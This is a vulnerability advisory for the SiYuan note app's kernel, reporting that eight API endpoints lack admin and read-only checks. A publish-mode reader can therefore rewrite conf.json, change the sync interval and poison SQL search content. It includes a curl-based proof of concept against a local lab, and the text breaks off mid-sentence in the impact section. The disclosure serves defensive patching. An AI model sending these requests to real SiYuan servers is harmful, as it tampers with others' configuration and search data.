Improper authorization control for web services In github.com/siyuan-note/siyuan/kernel

Description

SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs ### Summary SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs POST /api/graph/getGraph, POST /api/graph/getLocalGraph, POST /api/sync/setSyncInterval, POST /api/storage/updateRecentDocViewTime, POST /api/storage/updateRecentDocCloseTime, POST /api/storage/updateRecentDocOpenTime, POST /api/storage/batchUpdateRecentDocCloseTime, and POST /api/search/updateEmbedBlock are registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly. Each of them writes server-side state, including atomic rewrites of <workspace>/conf/conf.json via model.Conf.Save(). Any caller whose JWT passes CheckAuth, including a publish-service RoleReader (the role assigned to anonymous publish visitors) and a RoleEditor against a workspace where Editor.ReadOnly = true, can hit them. This is the same root-cause class as the patched GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x. ### Details Affected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD 96dfe0be). The router in kernel/api/router.go registers each endpoint below with model.CheckAuth only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous: bash kernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only kernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only kernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only kernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only kernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only kernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only kernel/api/router.go:400 /api/graph/getGraph CheckAuth only kernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only # Compare the gated siblings on adjacent lines: kernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly kernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly Per-handler evidence: kernel/api/graph.go:53 getGraph. Despite the verb "get", the body unconditionally overwrites model.Conf.Graph.Global from caller-supplied JSON and persists the entire workspace conf.json: graphConf, err := gulu.JSON.MarshalJSON(confArg) ... global := conf.NewGlobalGraph() gulu.JSON.UnmarshalJSON(graphConf, global) model.Conf.Graph.Global = global // attacker-controlled write model.Conf.Save() // atomic rewrite of conf.json kernel/api/graph.go:106 getLocalGraph. Same pattern on model.Conf.Graph.Local. Note the legitimate writers resetGraph (graph.go:29) and resetLocalGraph (graph.go:41) only set the struct to its constructor default (NewGlobalGraph() / NewLocalGraph()), whereas getGraph / getLocalGraph accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints. kernel/api/sync.go:597 setSyncInterval. Calls model.SetSyncInterval(int(interval)) (kernel/model/sync.go:394) which writes Conf.Sync.Interval, persists Conf.Save(), and reschedules the sync goroutine via planSyncAfter. The model layer clamps the interval to [30, 43200], but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle). kernel/api/search.go:287 updateEmbedBlock. Calls model.UpdateEmbedBlock(id, content) (kernel/model/search.go:198), which validates only that the block type is BlockQueryEmbed and then forwards to updateEmbedBlockContent (kernel/model/index.go:342). That helper rewrites the SQL blocks row's content column for the given embed-block ID via sql.UpdateBlockContentQueue. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL content column is what fullTextSearchBlock and getEmbedBlock read from, so a Reader can poison search results visible to other users. kernel/api/storage.go:251,295,273,317 updateRecentDocViewTime / updateRecentDocCloseTime / updateRecentDocOpenTime / batchUpdateRecentDocCloseTime. Each rewrites the workspace recent-docs JSON file under recentDocLock (kernel/model/storage.go:171,213 ...). A Reader can register any rootID (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin's recently-opened-documents UI and history. The bugs have all existed since v3.6.5 (the active release tag) and the live master branch. Two adjacent advisories already patched the exact same shape: GHSA-6r88-8v7q-q4p2 (getTag writing Conf.Tag.Sort) and GHSA-4j3x-hhg2-fm2x (renderSprig missing CheckAdminRole + CheckReadonly). Both are listed by the maintainers as occurrences "the same root-cause class" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass. ### PoC Source-level reproduction. The same Docker compose lab the maintainers used for GHSA-6r88 works here: bash # a publish-mode Reader JWT works equivalently). curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \ -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null # 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\ print('Conf.Sync.Interval BEFORE =',c['sync']['interval']);\ print('Conf.Graph.Global.minRefs BEFORE =',c['graph']['global']['minRefs'])" # 3. setSyncInterval as Reader. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval \ -H 'Content-Type: application/json' -d '{"interval":30}' # 4. getGraph as Reader, supplying a custom graph config struct. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph \ -H 'Content-Type: application/json' \ -d '{"k":"","conf":{"minRefs":99,"maxBlocks":1,"d3":{"linkWidth":99}}}' # 5. Confirm in-memory and on-disk persistence. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\ print('Conf.Sync.Interval AFTER =',c['sync']['interval']);\ print('Conf.Graph.Global.minRefs AFTER =',c['graph']['global']['minRefs'])" docker exec siyuan-audit grep -oE '\"interval\":[0-9]+' /siyuan/workspace/conf/conf.json docker exec siyuan-audit grep -oE '\"minRefs\":[0-9]+' /siyuan/workspace/conf/conf.json # 6. updateEmbedBlock - rewrite SQL content for any embed block ID. curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \ -H 'Content-Type: application/json' \ -d '{"id":"<embed-block-id>","content":"poisoned"}' Source-level proof, no privileged token involved: bash $ grep -nE 'ginServer\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' \ kernel/api/router.go \ | grep -vE 'CheckAdminRole|CheckReadonly' kernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime", model.CheckAuth, ... kernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime", model.CheckAuth, ... kernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime", model.CheckAuth, ... kernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime", model.CheckAuth, ... kernel/api/router.go:188: ... /api/search/updateEmbedBlock", model.CheckAuth, ... kernel/api/router.go:279: ... /api/sync/setSyncInterval", model.CheckAuth, ... kernel/api/router.go:400: ... /api/graph/getGraph", model.CheckAuth, ... kernel/api/router.go:401: ... /api/graph/getLocalGraph", model.CheckAuth, ... Standing up the publish-mode Reader path end-to-end was not done in this audit; the source-level diff against the gated siblings and the prior advisories' fix pattern are the same evidence the maintainers accepted for GHSA-fmh9-gpqh-g53g and GHSA-6r88-8v7q-q4p2 published 2026-05-08. ### Impact A publish-mode Reader (default for any anonymous publish visitor) and a publish-mode Editor against a Editor.ReadOnly = true workspace can: 1. Atomically rewrite <workspace>/conf/conf.json via Conf.Save() from setSyncInterval, getGraph, getLocalGraph. Conf.Save() rewrites the entire file, so a Reader racing with a legitimate admin save can revert unrelated configuration changes the admin made in the same window. 2. Set the cloud sync interval to either bound of the [30, 43200] clamp. 30 s pins clients to the worst-case sync hammer, draining battery and bandwidth on every connected device. 43200 s effectively pauses cloud sync for the workspace without flipping the visible "Sync enabled" toggle, increasing the chance of data divergence between devices and decreasing the likelihood that a Reader-induced state corruption is caught quickly. 3. Overwrite Conf.Graph.Global and Conf.Graph.Local with a caller-controlled struct, breaking graph rendering for the admin (extreme maxBlocks, minRefs, nodeSize, etc.). The reset endpoints at the same path are gated behind admin role specifically because the maintainers considered graph configuration

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

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